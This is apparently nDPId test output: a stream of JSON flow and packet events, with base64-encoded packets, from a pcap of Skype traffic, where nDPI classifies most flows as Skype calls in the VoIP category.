+00443{"flow_id":142,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":882,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":878432,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5Q+cAAEARHWrAqAEiQAQXlTLdnF4AJXN2e2UCDFA+Qxh89YvJZEs857N5H5uVs05hCuMkyAI="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":882,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":142,"flow_packet_id":1,"flow_first_seen":1431970664878,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00450{"flow_id":121,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970664,"pkt_ts_usec":926552,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QLhAAEAG4I\/AqAEiQAQXpsgznF2bjnl5scFgjYAYECndrAAAAQEICj4x\/HpMQvGckklqarCuvYw="} +00451{"flow_id":109,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":132695,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8djhAAEAGRS3AqAEib91Nr8gwnF4IVe1D0FEsUoAYECnC4AAAAQEICj4x\/UhNo+Jb\/KZqQh\/x2yw="} +00435{"flow_id":59,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0abpAAEAGhnTAqAEinTfrk8ginEEPp731h03onYARECmo8AAAAQEICj4yAEBMYEZO"} +00435{"flow_id":73,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0xvlAAEAGKTXAqAEinTfrk8gmAbvxz5z8Zu7sLYARECydhAAAAQEICj4yAEBMYEfZ"} +00435{"flow_id":60,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892802,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0qslAAEAGrcvAqAEiQTffLcgjnEma5hz3zyelXIARECl+3QAAAQEICj4yAEBNlOiw"} +00435{"flow_id":74,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":888,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892979,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA01v5AAEAGgZbAqAEiQTffLcgnAbvOrmb4ApkXD4ARECz05wAAAQEICj4yAEBNlOpA"} +00437{"flow_id":61,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":889,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892979,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0svZAAEAGC\/nAqAEib91KLcgknEjYMAoRdih2JIARECl\/QAAAAQEICj4yAEBNh6yI"} +00435{"flow_id":75,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":892992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OUdAAEAGhajAqAEib91KLcgoAbtIetA1DU2rDIARECwVvwAAAQEICj4yAEBNh64V"} +00435{"flow_id":67,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":893058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EDtAAEAGSNfAqAEinTeCsMglnFZwrI9swvNOL4ARECnEiQAAAQEICj4yAEBOqL2E"} +00436{"flow_id":81,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":893059,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0H05AAEAGOcTAqAEinTeCsMgpAbtXW5PYu\/PiI4ARECzlfgAAAQEICj4yAEBOqL8U"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":893,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.171","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":143,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":893059,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyYRMAAEARmlXAqAEib91NqzLdnF4AHu9ce2cCLa6FGK\/rw+WZJkTZL2SD2CNvhA=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":893,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":143,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.171","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":894,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":893090,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1sE4AAEARMsfAqAEinTc4oTLdnF8AITASe2kC9psOqbEN3IbEA34wiMcNZp24IiAl1w=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":894,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.148","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970665,"pkt_ts_usec":893094,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9lmMAAEARmbbAqAEinTfrlDLdnGEAKXtSe2sCw7Vy\/6hHK2XTagfLmixWAHOAd\/loE1p\/EyV7QPa1"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1431970665893,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.148","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00533{"flow_id":108,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":274816,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"0NQSxnP1PBXCt3IOCABFAAB58G5AAEAGtuHAqAEinTg0LMgvAbu6eq6k7rH\/TIAYECxlpAAAAQEICj4yAb1MaAB9rs4rj\/Zn4y1sqwdIy3afkOEmLBspD4c0rMSeRLd9b91SLsTSeHa0jfo08XXIbE1KDwebW7o1FbLX0Wq5X\/ZmIfUdu0eE"} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":897,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":370007,"pkt_caplen":100,"pkt_type":94,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AQAMzMzMJKQ8\/kzXAF6qqgMAAAwgAAF4S2kAAQAOQWlyR2F0ZXdheQACABEAAAABAQHMAATAqAHbAAQACAAAAAIABQAQQWlyR1cudjEuMC4zAAYAB0FHVwADAAdicjAA\/wAFLg=="} +00165{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":897,"source":"skype_no_unknown.pcap","alias":"nDPId-test","type":94} +00521{"flow_id":130,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":443211,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABx33tAAEAGQZfAqAEiQAQXpsg1Abs0yMstLkeiTIAYECzDBgAAAQEICj4yAmVMQvMvj3RAvemHT+P7z0rouwAwTgf6jSGe3VlkB506Kg5x6iMueUoaC06tZlkow8O3V51nHVDge5Zkoq+VQDfaxQ=="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":899,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_first_seen":1431970666902,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.142","src_port":51255,"dst_port":40005,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":146,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":902808,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAb9VAAEAG6VLAqAEinTeCjsg3nEXoG0e9AAAAALAC\/\/9+tAAAAgQFtAEDAwUBAQgKPjIEMAAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":900,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":1,"flow_first_seen":1431970666902,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":51256,"dst_port":40013,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":147,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":902983,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAZOhAAEAGVprAqAEib91Njsg4nE30S7v3AAAAALAC\/\/9gmwAAAgQFtAEDAwUBAQgKPjIEMAAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":901,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.170","src_port":51257,"dst_port":40032,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":903020,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAp19AAEAGSKzAqAEinTfrqsg5nGDRQCL5AAAAALAC\/\/9RGgAAAgQFtAEDAwUBAQgKPjIEMAAAAAAEAgAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":902,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.176","src_port":51258,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":903155,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAfbxAAEAGcbnAqAEi1cezsMg6nFWOWkeEAAAAALAC\/\/9u6QAAAgQFtAEDAwUBAQgKPjIEMAAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":903,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":903260,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9fE8AAEARfyTAqAEib91NlTLdnFAAKVN0e20CYiNLpCtZKVRm5qzsJsm2qgqqm\/VHJHAXu9AEnz3Z"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":903,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.149","src_port":13021,"dst_port":40016,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":904,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":904,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":903278,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7vtoAAEARQB3AqAEib91KEzLdnEEAJxFYe28CrL8oxTm2+6Ol0c4xcn\/aCmr6scDIaqNamEoS7g=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":904,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431970666903,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.19","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":149,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":958576,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93nVx7OwwKgBIpxVyDpdiXkDjlpHhaASOJCjtgAAAgQFrAQCCApO3n4vPjIEMAEDAwk="} +00435{"flow_id":149,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":958681,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0TkBAAEAGoUHAqAEi1cezsMg6nFWOWkeFXYl5BIAQECz6qQAAAQEICj4yBGdO3n4v"} +00569{"flow_id":149,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":907,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":959233,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"0NQSxnP1PBXCt3IOCABFAACU3h1AAEAGEQTAqAEi1cezsMg6nFWOWkeFXYl5BIAYECzwwAAAAQEICj4yBGdO3n4vpH+4YbRf46LMGng\/E51p5GZzYC9xP5Es2\/w2eKnW9UtZ6FFtAFdhjFPvc+i78cRadFWCi8AxrsfMzZrDmClGfyRFsvtwId43fL3KM0gZdu\/UNeJrIBEOpyyt+qP4CaZf"} +00448{"flow_id":148,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":974267,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+g+dN+uqwKgBIpxgyDkZrLIb0UAi+qASOJChgQAAAgQFrAQCCApMVm\/iPjIEMAEDAwk="} +00436{"flow_id":148,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":909,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":974371,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0VXBAAEAGmqfAqAEinTfrqsg5nGDRQCL6GayyHIAQECz4ZQAAAQEICj4yBHZMVm\/i"} +00506{"flow_id":148,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":910,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970666,"pkt_ts_usec":974921,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnYLRAAEAGjzDAqAEinTfrqsg5nGDRQCL6GayyHIAYECwnMAAAAQEICj4yBHZMVm\/iwEaMj8M5xvmyHE8sLJEGuFiWLirflKQdQ24zlWPXJEIVZLihiyPXvNuKmxRXLc4pgPFu"} +00434{"flow_id":149,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":911,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":11625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Bz9AADgG8ELVx7OwwKgBIpxVyDpdiXkEjlpH5YAQAB0KTAAAAQEICk7efjw+MgRn"} +00516{"flow_id":149,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":12027,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"PBXCt3IO0NQSxnP1CABFAABwB0BAADgG8AXVx7OwwKgBIpxVyDpdiXkEjlpH5YAYAB1OCQAAAQEICk7efjw+MgRnxaQ00137Ml1kiU0eyi+lTbYbpUp4jeRz2TzpD0yR+zJH3s9WrrWsiAUyKyQkVrQ14Z73PH2K8wjZNq+U"} +00434{"flow_id":149,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":12086,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03oBAAEAGEQHAqAEi1cezsMg6nFWOWkflXYl5QIAQECr5zwAAAQEICj4yBJpO3n48"} +00446{"flow_id":149,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":12702,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8NfNAAEAGuYbAqAEi1cezsMg6nFWOWkflXYl5QIAYECpMiQAAAQEICj4yBJtO3n48uQiwNY7rtQs="} +00446{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":29898,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYiydN4KOwKgBIpxFyDfIYnGx6BtHvqASOJAYmAAAAgQFrAQCCApOwLWvPjIEMAEDAwk="} 